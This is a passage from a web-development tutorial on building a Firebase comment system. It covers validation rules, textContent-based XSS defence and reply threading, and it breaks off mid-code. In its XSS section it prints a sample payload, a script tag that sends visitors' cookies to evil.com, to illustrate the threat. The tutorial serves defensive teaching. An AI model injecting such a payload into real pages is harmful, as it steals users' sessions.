&lt;td&gt;&lt;code&gt;".write": "!data.exists()"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Prevents editing or deleting already-saved comments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;name.length &amp;lt;= 50&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocks spam with megabyte-long display names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;text.length &amp;lt;= 1000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Caps comment size - protection against flooding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;isString()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocks arrays, objects, or numbers sent instead of text&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;timestamp &amp;lt;= now&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocks comments with a future timestamp&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Key point:&lt;/strong&gt; these rules execute on Google's servers and &lt;strong&gt;cannot be bypassed&lt;/strong&gt; even if someone has direct access to your JavaScript in the browser.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Step 4. Frontend XSS Protection
&lt;/h2&gt;

&lt;p&gt;The biggest risk for any comment system is &lt;strong&gt;XSS (Cross-Site Scripting)&lt;/strong&gt;. An attacker types this into your form:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If the browser executes it, every reader's session data is compromised.&lt;/p&gt;
&lt;h3&gt;
  
  
  Why &lt;code&gt;textContent&lt;/code&gt; Is Safer Than &lt;code&gt;innerHTML&lt;/code&gt;
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ DANGEROUS - the browser parses and executes the HTML&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// ✅ SAFE - the browser treats the content as plain text only&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Full Comment Rendering Function
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;renderComment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commentData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;commentId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;li&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;li&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;commentId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;className&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;comment-header&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;strong&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;commentData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// textContent - no script will ever execute&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;time&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commentData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLocaleDateString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en-US&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;day&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;numeric&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;month&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;long&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;year&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;numeric&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;datetime&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;commentData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// textContent - XSS is impossible&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;replyBtn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;replyBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Reply&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;replyBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;className&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;reply-btn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;replyBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;prefillReply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commentData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;replyBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Thanks to &lt;code&gt;textContent&lt;/code&gt;, even a fully crafted XSS payload renders as a harmless string of characters on screen.&lt;/p&gt;
&lt;h3&gt;
  
  
  Sending a Comment to Firebase
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;initializeApp&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://www.gstatic.com/firebasejs/10.12.0/firebase-app.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;getDatabase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onValue&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://www.gstatic.com/firebasejs/10.12.0/firebase-database.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;initializeApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;firebaseConfig&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getDatabase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;submitComment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;postId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;commentsRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`comments/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;postId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commentsRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;loadComments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;postId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;commentsRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`comments/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;postId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;comments-list&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;onValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commentsRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;snapshot&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The only allowed innerHTML - clearing the container&lt;/span&gt;
    &lt;span class="nx"&gt;snapshot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;renderComment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;val&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 5. UX: Native Emoji and Flat-Threading
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Emoji Without Libraries
&lt;/h3&gt;

&lt;p&gt;Instead of a heavy emoji-picker library, a simple placeholder hint does the job:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt;
  &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"comment-text"&lt;/span&gt;
  &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Your comment... Emoji: Win + .  or  Cmd + Ctrl + Space"&lt;/span&gt;
  &lt;span class="na"&gt;maxlength=&lt;/span&gt;&lt;span class="s"&gt;"1000"&lt;/span&gt;
&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Readers use the native OS keyboard shortcut. This weighs &lt;strong&gt;0 bytes&lt;/strong&gt; and introduces zero vulnerabilities.&lt;/p&gt;
&lt;h3&gt;
  
  
  Flat-Threading Reply System
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;prefillReply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authorName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;form&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;comment-form&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;comment-text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Smooth scroll to the form&lt;/span&gt;
  &lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;behavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;smooth&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;center&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="c1"&gt;// Prepend @mention&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mention&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`@&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;authorName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, `&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mention&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;mention&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span 